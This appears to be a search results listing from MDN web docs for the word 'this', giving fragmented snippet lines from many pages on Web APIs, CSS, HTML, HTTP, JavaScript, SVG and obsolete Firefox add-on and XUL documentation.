this article provides a basic guide to using the w3c permissions api, which provides a programmatic way to query the status of api permissions attributed to the current context.
... a simple example for
this article, we have put together a simple demo called location finder.
...
this object will eventually include methods for querying, requesting, and revoking permissions, although currently it only contains permissions.query(); see below.
...And 6 more matches
RTCConfiguration - Web APIs
this must be one of the values from the enum rtcbundlepolicy.
... if
this value isn't included in the dictionary, "balanced" is assumed.
...if
this property isn't specified, a set of certificates is generated automatically for each rtcpeerconnection instance.
...And 6 more matches
RTCPeerConnection.createDataChannel() - Web APIs
this can be useful for back-channel content such as images, file transfer, text chat, game update packets, and so forth.
...
this string may not be longer than 65,535 bytes.
...while
this value is a 16-bit unsigned number, each user agent may clamp it to whatever maximum it deems appropriate.
...And 6 more matches
RTCPeerConnection: icecandidate event - Web APIs
this candidate needs to be delivered to the remote peer over the signaling channel your code manages.
... rtcpeerconnection.onicecandidate = (event) => { if (event.candidate) { sendcandidatetoremotepeer(event.candidate) } else { /* there are no more candidates coming during
this negotiation */ } } the remote peer, upon receiving the candidate, will add the candidate to its candidate pool by calling addicecandidate(), passing in the candidate string you have passed along using the signaling server.
...that
this has occurred is indicated by an icecandidate event whose candidate string is empty ("").
...And 6 more matches
RTCRtpEncodingParameters - Web APIs
this value can only be set when creating the transceiver; after that,
this value is read only.
... dtx only used for an rtcrtpsender whose kind is audio,
this property indicates whether or not to use discontinuous transmission (a feature by which a phone is turned off or the microphone muted automatically in the absence of voice activity).
... maxbitrate an unsigned long integer indicating the maximum number of bits per second to allow for
this encoding.
...And 6 more matches
RTCRtpSendParameters.encodings - Web APIs
this value can only be set when creating the transceiver; after that,
this value is read only.
... dtx only used for an rtcrtpsender whose kind is audio,
this property indicates whether or not to use discontinuous transmission (a feature by which a phone is turned off or the microphone muted automatically in the absence of voice activity).
... maxbitrate an unsigned long integer indicating the maximum number of bits per second to allow for
this encoding.
...And 6 more matches
RTCStatsType - Web APIs
this type determines which of the rtcstats-based dictionaries the record is based upon.
...the active candidate pair is deleted after the transport switches to another candidate pair;
this change cannot be detected otherwise.
...since
this only provides statistics related to inbound data, without considering the local peer's state, any values that require knowledge of both, such as round-trip time, is not included.
...And 6 more matches
SVGTransformList - Web APIs
if the inserted item is already in a list, it is removed from its previous list before it is inserted into
this list.
...if newitem is already in a list, it is removed from its previous list before it is inserted into
this list.
...if the item is already in
this list, note that the index of the item to insert before is before the removal of the item.
...And 6 more matches
Selection - Web APIs
if anchornode is a text node,
this is the number of characters within anchornode preceding the anchor.
... if anchornode is an element,
this is the number of child nodes of the anchornode preceding the anchor.
...if focusnode is a text node,
this is the number of characters within focusnode preceding the focus.
...And 6 more matches
SharedWorkerGlobalScope - Web APIs
properties
this interface inherits properties from the workerglobalscope interface, and its parent eventtarget, and therefore implements properties from windowtimers, windowbase64, and windoweventhandlers.
...
this is mainly useful for debugging purposes.
... sharedworkerglobalscope.applicationcache read only
this property returns the applicationcache object for the worker (see using the application cache).
...And 6 more matches
Storage Access API - Web APIs
the storage access api provides a way for embedded, cross-origin content to gain unrestricted access to storage that it would normally only have access to in a first-party context (we refer to
this as an origin’s first-party storage).
... the storage access api is intended to solve
this problem; embedded cross-origin content can request unrestricted access to its first-party storage on a site-by-site basis via the document.requeststorageaccess() method, and check whether it already has access via the document.hasstorageaccess() method.
...the embedding website needs to add
this to allow storage access requests to be successful, along with allow-scripts and allow-same-origin to allow it to call the api, and execute in an origin that can have cookies: <iframe sandbox="allow-storage-access-by-user-activation allow-scripts allow-same-origin"> ...
...And 6 more matches
WebGLRenderingContext.makeXRCompatible() - Web APIs
this is useful if you have an application which can start out being presented on a standard 2d display but can then be transitioned to a 3d immersion system.
... exceptions
this method doesn't throw traditional exceptions; instead, the promise rejects with one of the following errors as the value passed into the rejection handler: aborterror switching the context over to the webxr-compatible context failed.
...
this is why the webglcontextlost and webglcontextrestored events are used: the first gives you the opportunity to discard anything you won't need anymore, while the second gives you the opportunity to load resources and prepare to render the scene in its new context.
...And 6 more matches
Basic scissoring - Web APIs
« previousnext » in
this example, we see how to draw simple rectangles and squares using webgl scissoring operations.
... clearing the drawing buffer when scissoring applies
this is a simple demonstration of a rendering with scissor().
...
this is a good opportunity to talk about the difference between pixels and fragments.
...And 6 more matches
Using the Web Storage API - Web APIs
this article provides a walkthrough of how to make use of
this technology.
... testing for availability note:
this api is available in current versions of all major browsers.
... we have also provided an event output page — if you load
this page in another tab, then make changes to your choices in the landing page, you'll see the updated storage information outputted as a storageevent is fired.
...And 6 more matches
Window.prompt() - Web APIs
note that in internet explorer 7 and 8, if you do not provide
this parameter, the string "undefined" is the default value.
...if the user clicks the cancel button,
this function returns null.
... the following text is shared between
this article, dom:window.confirm and dom:window.alert dialog boxes are modal windows; they prevent the user from accessing the rest of the program's interface until the dialog box is closed.
...And 6 more matches
WorkerGlobalScope - Web APIs
workers have no browsing context;
this scope contains the information usually conveyed by window objects — in
this case event handlers, the console or the associated workernavigator object.
...
this interface is usually specialized by each worker type: dedicatedworkerglobalscope for dedicated workers, sharedworkerglobalscope for shared workers, and serviceworkerglobalscope for serviceworker.
... properties
this interface inherits properties from the eventtarget interface and windoworworkerglobalscope and windoweventhandlers mixins.
...And 6 more matches
HTML in XMLHttpRequest - Web APIs
this feature allows web apps to obtain an html resource as a parsed dom using xmlhttprequest.
...
this limitation avoids wasting time parsing html uselessly when legacy code uses xmlhttprequest in the default mode to retrieve responsetext for text/html resources.
... also,
this limitation avoids problems with legacy code that assumes that responsexml is null for http error pages (which often have a text/html response body).
...And 6 more matches
ARIA: listbox role - Accessibility
it is highly recommended to use the html select element, or a group of radio buttons if only one item can be selected, or a group of checkboxes if multiple items can be selected, because there is a lot of keyboard interactivity to manage focus for all the descendants, and native html elements provide
this functionality for you for free.
...it is recommended that a checkbox, link or other method be used to select all items, and ctrl+a could be used as a shortcut key for
this.
...if an option or item is focused within the list, it gets announced next, followed by an indication of the item's position with the list if the screen reader supports
this.
...And 6 more matches
An overview of accessible web applications and widgets - Accessibility
while
this results in a widget that looks like its desktop counterpart, there usually isn't enough semantic information in the markup to be usable by an assistive technology.
... <!--
this is a tabs widget.
...
this provides a much more consistent user experience than was possible in the previous generation of web applications, since assistive technology users can apply all of their knowledge of how desktop applications work when they are using web-based applications.
...And 6 more matches
:scope - CSS: Cascading Style Sheets
/* selects a scoped element */ :scope { background-color: lime; } currently, when used in a stylesheet, :scope is the same as :root, since there is not at
this time a way to explicitly establish a scoped element.
... syntax :scope examples identity match in
this simple example, we demonstrate that using the :scope pseudo-class from the element.matches() method matches the element on which it's called.
... javascript let paragraph = document.getelementbyid("para"); let output = document.getelementbyid("output"); if (paragraph.matches(":scope")) { output.innertext = "yep, the element is its own scope as expected!"; } html <p id="para">
this is a paragraph.
...And 6 more matches
Detecting CSS animation support - CSS: Cascading Style Sheets
however, there are likely to be times when
this feature isn't available, and you may wish to handle that case by using javascript code to simulate a similar effect.
...
this article, based on
this blog post by chris heilmann, demonstrates a technique for doing
this.
... testing for css animation support
this code will check to see if css animation support is available: var animation = false, animationstring = 'animation', keyframeprefix = '', domprefixes = 'webkit moz o ms khtml'.split(' '), pfx = '', elem = document.createelement('div'); if( elem.style.animationname !== undefined ) { animation = true; } if( animation === false ) { for( var i = 0; i < domprefixes.length; i++ ) { if( elem.style[ domprefixes[i] + 'animationname' ] !== undefined ) { pfx = domprefixes[ i ]; animationstring = pfx + 'animation'; keyframeprefix = '-' + pfx.tolowercase() + '-'; animation = true; break; } } } for starters we define a few variables.
...And 6 more matches
Using feature queries - CSS: Cascading Style Sheets
in
this guide you will learn how to implement progressive enhancement using feature queries.
...it doesn't matter which value you use in a lot of cases: if all you want is to check that the browser supports
this property, then any valid value will do.
... you can also use or, if one property out of a selection could match to enable the css you want to use: @supports (property1: value) or (property2: value) { css rules to apply }
this can be particularly useful if a feature is vendor prefixed, as you can test for the standard property plus any vendor prefixes.
...And 6 more matches
CSS Scrollbars - CSS: Cascading Style Sheets
basic example in
this example we have chosen to use a thin scrollbar, with a green track and purple thumb.
... baseline rules for scrollbar usability | adrian roselli browser compatibility the compatibility table in
this page is generated from structured data.
...oidsafari on iossamsung internetscrollbar-widthchrome no support noedge no support nofirefox full support 64 full support 64 full support 63disabled disabled from version 63:
this feature is behind the layout.css.scrollbar-width.enabled preference (needs to be set to true).
...And 6 more matches
CSS Tutorials - CSS: Cascading Style Sheets
this page lists them all, with a short description.
... beginner-level css tutorials getting started
this guide is aimed at complete beginners: you haven't written one single line of css?
... —
this is for you.
...And 6 more matches
Viewport concepts - CSS: Cascading Style Sheets
this article explains the concept of the viewport — what it is, its impact in terms of css, svg, and mobile devices — and differentiates between the visual viewport and the layout viewport.
... documents like
this article may be very long.
...content outside the viewport, such as the see also section in
this document, is likely to not be visible onscreen until scrolled into view.
...And 6 more matches
<color> - CSS: Cascading Style Sheets
a <color> can be defined in any of the following ways: using a keyword (such as blue or transparent) using the rgb cubic-coordinate system (via the #-hexadecimal or the rgb() and rgba() functional notations) using the hsl cylindrical-coordinate system (via the hsl() and hsla() functional notations) note:
this article describes the <color> data type in detail.
...
this is because most devices are not calibrated, and some browsers do not support output devices' color profiles.
... sandybrown #f4a460 seagreen #2e8b57 seashell #fff5ee sienna #a0522d skyblue #87ceeb slateblue #6a5acd slategray #708090 slategrey #708090 snow #fffafa springgreen #00ff7f steelblue #4682b4 tan #d2b48c
thistle #d8bfd8 tomato #ff6347 turquoise #40e0d0 violet #ee82ee wheat #f5deb3 whitesmoke #f5f5f5 yellowgreen #9acd32 css color module level 4 rebeccapurple #663399 transparent keyword the transparent keyword represents a fully transparent color.
...And 6 more matches
page-break-after - CSS: Cascading Style Sheets
this property has been replaced by the break-after property.
... /* keyword values */ page-break-after: auto; page-break-after: always; page-break-after: avoid; page-break-after: left; page-break-after: right; page-break-after: recto; page-break-after: verso; /* global values */ page-break-after: inherit; page-break-after: initial; page-break-after: unset;
this property applies to block elements that generate a box.
... recto if pages progress left-to-right, then
this acts like right.
...And 6 more matches
page-break-before - CSS: Cascading Style Sheets
this property has been replaced by the break-before property.
...
this property applies to block elements that generate a box.
... recto if pages progress left-to-right, then
this acts like right.
...And 6 more matches
text-emphasis - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...
this is because if the style and the color of emphasis marks may vary in a text, it is extremely unlikely that their position will.
... in the very rare cases when
this is needed, the property text-emphasis-position.
...And 6 more matches
Ajax - Developer guides
this makes the application faster and more responsive to user actions.
... documentation getting started
this article guides you through the ajax basics and gives you two simple hands-on examples to get you started.
...
this article will explain how to use some ajax techniques, like: analyzing and manipulating the response of the server monitoring the progress of a request submitting forms and upload binary files – in pure ajax, or using formdata objects using ajax within web workers fetch api the fetch api provides an interface for fetching resources.
...And 6 more matches
Mouse gesture events - Developer guides
non-standard
this feature is non-standard and is not on a standards track.
...
this is typically used to zoom in and out on content (
this is the default behavior in firefox, for example).
... note:
this event is sent whenever the movement of the user's fingers exceeds the number of pixels indicated by the browser.gesture.pinch.threshold preference.
...And 6 more matches
Making content editable - Developer guides
this article provides some information about
this functionality.
... <div contenteditable="true">
this text can be edited by the user.
...
this lets you run commands to manipulate the contents of the editable region.
...And 6 more matches
Mobile Web Development - Developer guides
this page provides an overview of some of the main techniques needed to design web sites that work well on mobile devices.
...see
this article on designing for touch screens.
...you do
this in css by querying for screen height, width, and pixel ratio.
...And 6 more matches
<basefont> - HTML: Hypertext Markup Language
with
this set, the font's size can then be varied relative to the base size using the <font> element.
... you should not use
this element; instead, you should use css properties such as font, font-family, font-size, and color to change the font configuration for an element and its contents.
... attributes like all other html elements,
this element supports the global attributes.
...And 6 more matches
<frame> - HTML: Hypertext Markup Language
attributes like all other html elements,
this element supports the global attributes.
... src
this attribute specifies the document that will be displayed by the frame.
... name
this attribute is used for labeling frames.
...And 6 more matches
<input type="button"> - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
...ner('click', updatebutton); function updatebutton() { if (button.value === 'start machine') { button.value = 'stop machine'; paragraph.textcontent = 'the machine has started!'; } else { button.value = 'start machine'; paragraph.textcontent = 'the machine is stopped.'; } } the script gets a reference to the htmlinputelement object representing the <input> in the dom, saving
this refence in the variable button.
... in
this example, s is specified as the access key (you'll need to press s plus the particular modifier keys for your browser/os combination; see accesskey for a useful list of those).
...And 6 more matches
<mark>: The Mark Text element - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
... implicit aria role no corresponding role permitted aria roles any dom interface htmlelement attributes
this element only includes the global attributes.
...think of
this like using a highlighter pen in a book to mark passages that you find of interest.
...And 6 more matches
<menu> - HTML: Hypertext Markup Language
this includes both list menus, which might appear across the top of a screen, as well as context menus, such as those that might appear underneath a button after it has been clicked.
... implicit aria role list permitted aria roles directory, group, listbox, menu, menubar, none, presentation, radiogroup, tablist, toolbar or tree dom interface htmlmenuelement attributes
this element includes the global attributes.
... type
this attribute indicates the kind of menu being declared, and can be one of two values.
...And 6 more matches
HTML: Hypertext Markup Language
introduction to html
this module sets the stage, getting you used to important concepts and syntax such as looking at applying html to text, how to create hyperlinks, and how to use html to structure a web page.
... multimedia and embedding
this module explores how to use html to include multimedia in your web pages, including the different ways that images can be included, and how to embed video, audio, and even entire other webpages.
...
this module covers basic table markup, along with more complex features such as implementing captions and summaries.
...And 6 more matches
HTTP authentication - HTTP
this page is an introduction to the http framework for authentication, and shows how to restrict access to your server using the http "basic" schema.
... the challenge and response flow works like
this: the server responds to a client with a 401 (unauthorized) response status and provides information on how to authorize with a www-authenticate response header containing at least one challenge.
...unlike 401 unauthorized or 407 proxy authentication required, authentication is impossible for
this user.
...And 6 more matches
Using Feature Policy - HTTP
be wary of
this when implementing feature policy on your website.
... allowlist an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in
this document, and all nested browsing contexts (iframes) regardless of their origin.
... 'self': the feature will be allowed in
this document, and in all nested browsing contexts (iframes) in the same origin.
...And 6 more matches
CSP: base-uri - HTTP
if
this value is absent, then any uri is allowed.
... if
this directive is absent, the user agent will use the value in the <base> element.
...not setting
this allows any url.
...And 6 more matches
Feature-Policy: fullscreen - HTTP
when
this policy is enabled, the returned promise rejects with a typeerror.
...
this directive allows or prevents cross-origin frames from using fullscreen mode.
...
this includes same-origin frames.
...And 6 more matches
Public class fields - JavaScript
this page describes experimental features.
...
this is useful for caches, fixed-configuration, or any other data you don't need to be replicated across instances.
... class classwithstaticfield { static basestaticfield = 'base field' } class subclasswithstaticfield extends classwithstaticfield { static substaticfield = 'sub class field' } console.log(subclasswithstaticfield.substaticfield) // expected output: "sub class field" console.log(subclasswithstaticfield.basestaticfield) // expected output: "base field" when initializing fields,
this refers to the class constructor.
...And 6 more matches
constructor - JavaScript
the source for
this interactive example is stored in a github repository.
... class person { constructor(name) {
this.name = name; } introduce() { console.log(`hello, my name is ${
this.name}`); } } const otto = new person('otto'); otto.introduce(); if you don't provide your own constructor, then a default constructor will be supplied for you.
... if your class is a base class, the default constructor is empty: constructor() {} if your class is a derived class, the default constructor calls the parent constructor, passing along any arguments that were provided: constructor(...args) { super(...args); } that enables code like
this to work: class validationerror extends error { printcustomermessage() { return `validation failed :-( (details: ${
this.message})`; } } try { throw new validationerror("not a valid phone number"); } catch (error) { if (error instanceof validationerror) { console.log(error.name); //
this is error instead of validationerror!
...And 6 more matches
arguments.callee - JavaScript
this is useful when the name of the function is unknown, such as within a function expression with no name (also called "anonymous functions").
... (adapted from a stack overflow answer by olliej) early versions of javascript did not allow named function expressions, and for
this reason you could not make a recursive function expression.
... for example,
this syntax worked: function factorial (n) { return !(n > 1) ?
...And 6 more matches
Functions - JavaScript
in the case of a constructor called with the new keyword, the default value is the value of its
this parameter.
...if the function changes the value of an argument,
this change is not reflected globally or in the calling function.
... */ console.log(mycar.brand); the
this keyword does not refer to the currently executing function, so you must refer to function objects by name, even within the function body.
...And 6 more matches
Array.prototype.findIndex() - JavaScript
the source for
this interactive example is stored in a github repository.
... syntax arr.findindex(callback( element[, index[, array]] )[,
thisarg]) parameters callback a function to execute on each value in the array until the function returns true, indicating that the satisfying element was found.
...
thisarg optional optional object to use as
this when executing callback.
...And 6 more matches
Function - JavaScript
this can be seen with the code (function(){}).constructor === function, which returns true.
...
this is deprecated as a property of function.
...
this property is deprecated, and is only functional for some non-strict functions.
...And 6 more matches
Intl.Collator() constructor - JavaScript
the source for
this interactive example is stored in a github repository.
...
this option can be set through an options property or through a unicode extension key; if both are provided, the options property takes precedence.
...
this option can be set through an options property or through a unicode extension key; if both are provided, the options property takes precedence.
...And 6 more matches
Promise.any() - JavaScript
essentially,
this method is the opposite of promise.all().
...
this returned promise is then resolved/rejected asynchronously (as soon as the stack is empty) when any of the promises in the given iterable resolve, or if all the promises have rejected.
... description
this method is useful for returning the first promise that fulfils.
...And 6 more matches
RegExp.prototype[@@replace]() - JavaScript
the [@@replace]() method replaces some or all matches of a
this pattern in a string by a replacement, and returns the result of the replacement as a new string.
... the source for
this interactive example is stored in a github repository.
...the arguments supplied to
this function are described in the specifying a function as a parameter section in string.prototype.replace() page.
...And 6 more matches
String.prototype.split() - JavaScript
the source for
this interactive example is stored in a github repository.
... the simplest case is when separator is just a single character;
this is used to split a delimited string.
... for example, a string containing tab separated values (tsv) could be parsed by passing a tab character as the separator, like
this: mystring.split("\t").
...And 6 more matches
Optional chaining (?.) - JavaScript
this results in shorter and simpler expressions when accessing chained properties when the possibility exists that a reference may be missing.
... the source for
this interactive example is stored in a github repository.
...
this prevents the error that would occur if you simply accessed obj.first.second directly without testing obj.first.
...And 6 more matches
Property accessors - JavaScript
the source for
this interactive example is stored in a github repository.
...the keys in
this array are the names of the object's properties.
... const variable = object[property_name] object[property_name] = value;
this does the exact same thing as the previous example.
...And 6 more matches
<mo> - MathML
besides operators in strict mathematical meaning,
this element also includes "operators" like parentheses, separators like comma and semicolon, or "absolute value" bars.
... attributes accent if the operator is used as an under- or overscript
this attribute specifies whether the operator should be treated as an accent.
... fence there is no visual effect for
this attribute, but it specifies whether the operator is a fence (such as parentheses).
...And 6 more matches
Digital video concepts - Web media technologies
in
this article, we explore important concepts that are useful to understand in order to fully grasp how to work with video on the web.
... the name "yuv" is generally used today to describe
this color system, even though the term was originally used specifically for analog coding of color, while ycbcr was used for digital color.
... contemplating human vision we're able to represent an image
this way because the human eye sees far more detail in greyscale than in color, thanks to biology.
...And 6 more matches
How to make PWAs installable - Progressive web apps (PWAs)
this article explains how to achieve
this using the web app's manifest.
...
this makes the web app easier to access; additionally, you can specify that the app be launched in fullscreen or standalone mode, thus removing the default browser user interface that would otherwise be present, creating an even more seamless and native-like feel.
... requirements to make the web site installable, it needs the following things in place: a web manifest, with the correct fields filled in the web site to be served from a secure (https) domain an icon to represent the app on the device a service worker registered, to allow the app to work offline (
this is required only by chrome for android currently) currently, only the chromium-based browsers such as chrome, edge, and samsung internet require the service worker.
...And 6 more matches
<radialGradient> - SVG: Scalable Vector Graphics
g viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <radialgradient id="mygradient"> <stop offset="10%" stop-color="gold" /> <stop offset="95%" stop-color="red" /> </radialgradient> </defs> <!-- using my linear gradient --> <circle cx="5" cy="5" r="4" fill="url('#mygradient')" /> </svg> attributes cx
this attribute defines the x coordinate of the end circle of the radial gradient.
... value type: <length> ; default value: 50%; animatable: yes cy
this attribute defines the y coordinate of the end circle of the radial gradient.
... value type: <length> ; default value: 50%; animatable: yes fr
this attribute defines the radius of the start circle of the radial gradient.
...And 6 more matches
Reddit Example - Archive of obsolete content
this example uses the action button api, which is only available from firefox 29 onwards.
...
this example add-on creates a panel containing the mobile version of reddit.
... to accomplish
this the add-on needs to run a content script in the context of the reddit page which intercepts mouse clicks on each title link and fetches the link's target url.
...And 5 more matches
port - Archive of obsolete content
this article documents the port object, which is used to communicate between a content script and the main add-on code.
...the port object offers a shortcut to do
this: the once() method.
...
this example rewrites the content script in the port.removelistener() example so that it uses once(): // content-script.js function getfirstparagraph() { var paras = document.getelementsbytagname('p'); console.log(paras[0].textcontent); } self.port.once("get-first-para", getfirstparagraph); removelistener() you can use port.on() to listen for messages.
...And 5 more matches
Working with Events - Archive of obsolete content
in
this case one end of the conversation emits the events, and the other end listens to them.
... so there are two main ways you will interact with the eventemitter framework: listening to built-in events emitted by objects in the sdk, such as tabs opening, pages loading, mouse clicks sending and receiving user-defined events between content scripts and add-on code
this guide only covers the first of these; the second is explained in the working with content scripts guide.
...
this is a function which will be called whenever the event occurs.
...And 5 more matches
system - Archive of obsolete content
var system = require("sdk/system"); system.exit(); parameters code : integer to exit with failure, set
this to 1.
... to exit with success, omit
this argument.
...
this function exposes that functionality to add-on authors.
...And 5 more matches
content/worker - Archive of obsolete content
content scripts specified by
this option are loaded before those specified by the contentscript option.
...content scripts specified by
this option are loaded after those specified by the contentscriptfile option.
... tab if
this worker is attached to a content document, returns the related tab.
...And 5 more matches
io/file - Archive of obsolete content
usage paths path specifications in
this api are platform-specific.
...
this means that on windows paths are specified using the backslash path separator (\), and on unix-like systems like linux and os x paths are specified using the forward slash path separator (/).
... if your add-on uses literal windows-style path specifications with
this api, your add-on likely won't work when users run it on unix-like systems.
...And 5 more matches
test/assert - Archive of obsolete content
you can use
this object to make assertions about your program's state.
...
this function is only called by the unit test framework, and not by unit tests themselves.
... assert.ok(a == 1, "test that a is equal to one");
this is equivalent to: assert.equal(a == 1, true, "test that a is equal to one"); parameters guard : expression the expression to evaluate.
...And 5 more matches
Unit Testing - Archive of obsolete content
to follow
this tutorial you'll need to have learned the basics of jpm and followed the tutorial on writing reusable modules.
...unfortunately these functions are attached to the window object: since
this object is not available in your main add-on code, atob() and btoa() aren't available either.
...now create a new file called "base64.js", and give it the following contents: const { atob, btoa } = require("resource://gre/modules/services.jsm"); exports.atob = a => atob(a); exports.btoa = b => btoa(b);
this code exports two functions, which just call the platform's btoa() and atob() functions.
...And 5 more matches
Dialogs and Prompts - Archive of obsolete content
this page has some code snippets used to display and process dialog boxes.
...
this will: handle a few keyboard events (enter/esc and more), which is good for keyboard accessibility.
...the header to the right of the sections buttons is made with <dialogheader>: <dialogheader title="general" description="whatever"/> note, that you should only use
this element in a <dialog>, because otherwise it may be not styled properly.
...And 5 more matches
Getting Started with Firefox Extensions - Archive of obsolete content
this tutorial focuses on extensions for firefox, but the same (or very similar) principles apply to creating extensions for other applications such as thunderbird, seamonkey, and flock.
...
this tutorial is about extension development, but themes and language packs are developed in a very similar way.
...
this tutorial focuses on traditional extensions, which are created differently.
...And 5 more matches
Using Dependent Libraries In Extension Components - Archive of obsolete content
}; // component.dll on windows, libcomponent.so on linux static char krealcomponent[] = moz_dll_prefix "component" moz_dll_suffix; nsresult nsgetmodule(nsicomponentmanager* acompmgr, nsifile* alocation, nsimodule* *aresult) { nsresult rv; //
this is not the real component.
... library->setnativeleafname(ns_literal_cstring("libraries")); library->appendnative(ns_literal_cstring("dummy")); // loop through and load dependent libraries for (char const *const *dependent = kdependentlibraries; *dependent; ++dependent) { library->setnativeleafname(nsdependentcstring(*dependent)); prlibrary *lib; library->load(&lib); // 1) we don't care if
this failed!
... // 2) we are going to leak
this library.
...And 5 more matches
An Interview With Douglas Bowman of Wired News - Archive of obsolete content
the brains and primary driving force behind
this compelling new design is douglas bowman, network design manager for terra lycos, who graciously agreed to an interview and in the process shed a lot of light on what goes into a standards-based redesign.
...
this includes rules and guidelines applying to everything from headers, footers, page hierarchy, titles, typography, iconography, navigation, and others.
...until
this redesign, wired news wasn't even using css to style the content inside tables.
...And 5 more matches
XML data - Archive of obsolete content
this page contains an example of how you can use css with xml data.
...
this is the 3rd section of part ii of the css tutorial.
...to do
this, your stylesheet uses rules that map tags in the xml document to the display types used by html.
...And 5 more matches
Case Sensitivity in class and id Names - Archive of obsolete content
find out how
this wrinkle can affect your site design and best practices to avoid any problems.
...for example, there might be
this css: p.warning {color: red; background: yellow;} ...coupled with
this html: <p class="warning">warning!</p> in netscape 6, the paragraph in question will have neither red text nor a yellow background.
...(for a detailed explanation of what html 4.01 says, see the following section, "why so case-sensitive?") the only way to avoid
this particular problem is to make sure that your class and id names have consistent case throughout the entire document, and with respect to your css and javascript.
...And 5 more matches
No Proxy For configuration - Archive of obsolete content
abstract
this document provides a comprehensive discussion of the manual proxy feature "no proxy for:", including configuration issues, testing and bugs.
...
this feature was originally designed as a "blacklist" of sites or domains that was within the intranet, and should not be accessed via the proxy server.
... due to various limitations,
this feature should be used for only the most simple blacklist scenarios.
...And 5 more matches
Style System Overview - Archive of obsolete content
(we'll see what
this does later.) the main argument to rulesmatching is a structure of enumeration data that implementations use to determine more quickly which rules match.
...
this style struct is always const, and should always be declared as such (evil old-style casts often used with the non-typesafe forms sometimes hide
this error), since the struct may be shared with other elements.
...
this is big, and slow to fill in.
...And 5 more matches
First run - Archive of obsolete content
note:
this page documents the jetpack prototype, which is no longer under active development.
... by default
this page contains some simple text explaining that they may now use the jetpack and how to uninstall it.
... you can replace
this text with a page tailored to your jetpack.
...And 5 more matches
Plug-n-Hack Phase1 - Archive of obsolete content
the tool configures itself by serving an html document (we’ll call
this the configuration document) to the browser.
...
this can cause the browser to inspect the manifest and register the tool by firing a customevent with the type configuresectool and a properties object which specifies the url of the tool manifest.
... the configuration document should then listen for a number of other events: configuresectoolstarted -
this notifies the document that the browser is processing the configuration; if
this event is not received within a reasonable amount of time after the configuresectool event has been fired, you might want to warn the user that pnh does not seem to be supported by
this browser (perhaps prompting them to install the appropriate addon).
...And 5 more matches
Plugin Architecture - Archive of obsolete content
this page contains some notes on how plugins work internally in gecko.
...note:
this document documents how trunk works, i.e.
...no released product uses
this specific architecture.
...And 5 more matches
Standalone XPCOM - Archive of obsolete content
warning: the content of
this article may be out of date.
...the contents of
this standalone xpcom in general are: nspr : mozilla/nsprpub xpcom : mozilla/xpcom note 1: xpcom apis are not frozen yet.
...
this should get built by default.
...And 5 more matches
Install script template - Archive of obsolete content
ranganathan -- aruneratnospamallowedherenetscape.com petter ericson -- petteratnospamallowedherecycore.com
this is an install.js file that does the following -- 1.
...additionally installs to a secondary location on the windows desktop, in
this case c:\winnt\system32\myplugin\ 3.
... the keys are written according to the specification: http://mozilla.org/projects/plugins/first-install-problem.html and follows the plid specification: http://mozilla.org/projects/plugins/plugin-identifier.html **/ // define some global variables var plugin_file = "npmyplugin.dll"; //
this plugin consists of an xpt file because it is scriptable // http://mozilla.org/projects/plugins/scripting-plugins.html var component_file = "npmypluginscriptable.xpt"; var plugin_size = 2000; // (dll file) reserve a little extra so it is not required to update too often var component_size = 10; // (xpi file) reserve a little extra so it is not required to update too often var software_nam...
...And 5 more matches
confirm - Archive of obsolete content
see the notes at the end of
this document for a safe way to implement a fallback.
...
this string is typically in the form of a prompt for the user (e.g., "are you sure you want to delete the selected file(s)?").
...unless specified otherwise,
this is the default.
...And 5 more matches
toolbarbutton.type - Archive of obsolete content
if
this attribute is not present, a normal button is created.
... you can set
this attribute to the value menu to create a button with a menu popup.
...
this will typically cause the button to be displayed differently.
...And 5 more matches
How to implement a custom XUL query processor component - Archive of obsolete content
in
this example, we will create a simple javascript xpcom component.
... here is our sample javascript xpcom query processor: components.utils.import("resource://gre/modules/xpcomutils.jsm"); // basic wrapper for nsixultemplateresult function templateresult(adata) {
this._data = adata; // just make a random number for the id
this._id = math.random(100000).tostring(); } templateresult.prototype = { queryinterface: xpcomutils.generateqi([components.interfaces.nsixultemplateresult]), // private storage _data: null, // right now our results are flat lists, so no containing/recursion take place iscontainer: false, isempty: true, mayprocesschildren...
...: false, resource: null, type: "simple-item", get id() { return
this._id; }, // return the value of that bound variable such as ?name getbindingfor: function(avar) { // strip off the ?
...And 5 more matches
Namespaces - Archive of obsolete content
in addition to
this document, see namespaces crash course.
...
this distinguishes it from, for example, <foobar:textbox/> which might occur in the same document.
...every xml element has a "default namespace", and
this is used with xul elements all the time.
...And 5 more matches
Containment Properties - Archive of obsolete content
this allows you to iterate over a non-container.
... to do
this, use the containment attribute on the root node, set to the predicate to iterate over.
...we can add the containment attribute to do
this.
...And 5 more matches
Creating Dialogs - Archive of obsolete content
this section describes how one might construct them.
...
this function differs from open() in several ways.
...
this is a convenient way to supply default values to the fields in the dialog.
...And 5 more matches
List Controls - Archive of obsolete content
for example,
this list box will have four rows, one for each item.
...
this is much like a regular row except that it is displayed differently.
... you would use
this to create column headers.
...And 5 more matches
More Menu Features - Archive of obsolete content
« previousnext » in
this section, we'll look at creating submenus and checked menus creating submenus you can create submenus inside other menus (nested menus) using the existing elements.
...
this works because the menu element is valid even when it isn't directly placed inside a menu bar.
...
this is similar to the example above.
...And 5 more matches
Progress Meters - Archive of obsolete content
« previousnext » in
this section, we'll look at creating progress meters.
...
this can be used for the download file dialog as the size of the file is known.
...if
this is set to determined, the progress meter is a determinate progress meter where it fills up as the task completes.
...And 5 more matches
Scroll Bars - Archive of obsolete content
in
this section, we'll discuss creating a stand-alone scroll bar.
...you probably won't use
this too often.
... the syntax of a scroll bar is as follows: <scrollbar id="identifier" orient="horizontal" curpos="20" maxpos="100" increment="1" pageincrement="10"/> the attributes are as follows: id the unique identifer of the scroll bar orient
this specifies the direction of the scroll bar.
...And 5 more matches
The Chrome URL - Archive of obsolete content
this also means that it doesn't matter where the package is installed to be able to access it.
...
this makes it much easier to write applications that have lots of files since you don't have to worry about the details of locating files.
...by using chrome urls we can leave details like
this to mozilla.
...And 5 more matches
Tree Selection - Archive of obsolete content
this results in a performance improvement.
...
this also means that the highlight will appear on several items even though the select event is never fired for those items.
...
this means that if there are 3 top-level items and each has two child items, there will be a total of 9 items.
...And 5 more matches
Updating Commands - Archive of obsolete content
« previousnext » in
this section, we will look at how to update commands.
...in addition, you will need to do
